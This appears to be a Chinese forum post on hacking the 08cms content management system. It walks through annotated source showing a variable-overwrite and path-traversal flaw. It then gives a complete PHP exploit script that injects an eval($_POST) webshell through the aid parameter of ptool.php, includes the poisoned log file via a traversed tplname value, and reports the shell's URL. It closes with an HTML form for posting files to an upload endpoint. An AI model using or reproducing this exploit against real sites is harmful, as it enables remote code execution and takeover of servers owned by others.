(isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) && exit('08cms Error');
if(!QUOTES_GPC && $_FILES) $_FILES = maddslashes($_FILES);
foreach(array('_GET','_POST') as $_request){
	foreach($$_request as $k => $v){
		$k{0} != '_' && $$k = maddslashes($v);
	}
}

include_once dirname(__FILE__).'/include/general.inc.php';
include_once M_ROOT.'./include/common.fun.php';
if_siteclosed();
mobile_open() || message('手机版尚未开放');
parse_str(un_virtual($_SERVER['QUERY_STRING']),$temparr);
/*
我们看看这句代码
$_SERVER['QUERY_STRING']就是获取查询字符串的。。比如说xx.php?id=222 他就获取了id=222
un_virtual这个函数是过滤获取查询字符串的我们看看是咋写的
function un_virtual($str){
	......
	$str = str_replace(array('/','-'),array('&','='),$str); 把 / 和 - 替换成 & 和 =
	......
	return $str;
}

parse_str()这个是把查询字符串解析到变量中 用于存储的变量是$temparr这个

我们接着看下面的吧

$_da = array();
if(!$cnstr){
	$tplname = $_ismobile ? $o_index_tpl : $hometpl ; //$tplname这个在这里定义的了
	$_da['rss'] = $cms_abs.'rss.php';
	
$_da += $temparr; // $_da= $_da+$temparr 
unset($temparr);//销毁变量

extract($_da,EXTR_OVERWRITE); //变量覆盖  这样我们可以控制了$tplname这个变量
tpl_refresh($tplname);   //这个tpl_refresh函数就是我们要利用的地方 看看咋写的

*/

function tpl_refresh($tplname){
	global $templatedir,$debugtag;
	$tdir = M_ROOT."template/$templatedir/"; 
	$cacf = $tdir.'pcache/'.$tplname.'.php';              //  我们是可以控制这些变量的
	if(file_exists($x = $tdir."function/utags.fun.php")) include_once $x;//利用在下面当然这里也能利用 截断下
	mmkdir($cacf,0,1);
	if($debugtag || !file_exists($cacf)){ //轻松进入流程
		$str = load_tpl($tplname);  //看这个函数的名字应该是打开文件      返回内容

        /*  load_tp: include\refresh.fun.php  1137行
      $tpl = @file2str(M_ROOT."template/$templatedir/".$tplname);  //file2str这个是打开文件的函数 我就不贴上来了

	$rt && $tpl = preg_replace("/\{tpl\\$(.+?)\}/ies", "rtagval('\\1','$rt')",$tpl); 过滤无压力* /


		$str = preg_replace("/<\\?(?!php\\s|=|\\s)/i", '<?=\'<?\'?>', $str); //依旧无压力 
		$str = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}", $str);
		breplace($str,'');
		nreplace($str);
		quit_refresh_var();
               
		$str = tpl_basecode($str);
                   //以上代码都是过滤 
		str2file($str,$cacf);//这个是写文件 函数就不贴了
	}
	unset($str,$tdir,$cacf);
}

	$cacf = $tdir.'pcache/'.$tplname.'.php';  
	$str = load_tpl($tplname);
$tpl = @file2str(M_ROOT."template/$templatedir/".$tplname);

			$cf = M_ROOT.'./dynamic/stats/aclicks.cac';
			$ct = M_ROOT.'./dynamic/stats/aclicks_time.cac';
                        /* 省略 */
				if(@$fp = fopen($cf,'a')){
				fwrite($fp,"$aid\n");
				fclose($fp);

aid没有是初始化我们可以提交

<?php
/* 
	汽车CMS4.1 GBK版 ：
	exp    index.php?tplname=..%252f..%252fdynamic%252fstats%252faclicks.cac
	shell  /dynamic/tplcache/common/....dynamicstatsaclicks.cac.php
	装修 CMS ：
 	shell:  /dynamic/dynamic/stats/aclicks.cac.php 
*/
$exp = '/tools/ptool.php?aid=%3C%3Fphp%20eval%28%24_POST%5Ba%5D%29%3B%3F%3E';
$exp1 = '/index.php?tplname=..%2f..%2fdynamic%2fstats%2faclicks.cac';

if ($argc < 2 ) {

print_r('
+---------------------------------------------------------------------------+ 
           )_|
          _/ |_        _   _    
   ______/□□ \_∩-  //  //
   \ 20  \_________\_//>_//>_
    \________________________|  
         
 [+] php '.$argv[0].' [url]www.08sec.com[/url] 
+---------------------------------------------------------------------------+
');
	exit;
}
error_reporting(E_ERROR);
set_time_limit(0);

$host = $argv[1];
go($host);


function go ($host)
{
global $exp,$exp1;
	$re = Send ($host,$exp);
	
	stripos($re,"MySQL")>0 
	?  
	Send ($host,$exp)	 
	:
	"";

	$re = Send ($host,$exp1) and stripos($re,"aclicks.cac")>0
	?  
	exit(" + Exploit Success!\r\n + http://$host/template/dynamic/stats/aclicks.cac.php\r\n")
		:
	exit(" - Exploit Failed!\n");
}

function Send($host,$url)
{
    $data = "GET $url  HTTP/1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Accept-Language: en-us\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $fp = @fsockopen($host, 80);
    if (!$fp) {
        die("[-] Connect to host Error\r\n");
    }
    fwrite($fp, $data);
    $back = '';
    while (!feof($fp)) {
        $back .= fread($fp, 1024);
    }
    fclose($fp);
    return $back;
}
?>

[mw_shl_code=html,true]<html>
	<head>
	</head>
		<body>
		<form action="http://127.0.0.1/AX/tools/upload.php?action=upload&type=images" method="post" enctype="multipart/form-data">
		<input  name="Filedata" type="file">
		<input	value="upload" type="submit">
		</form>
	</body>
</html>		[/mw_shl_code]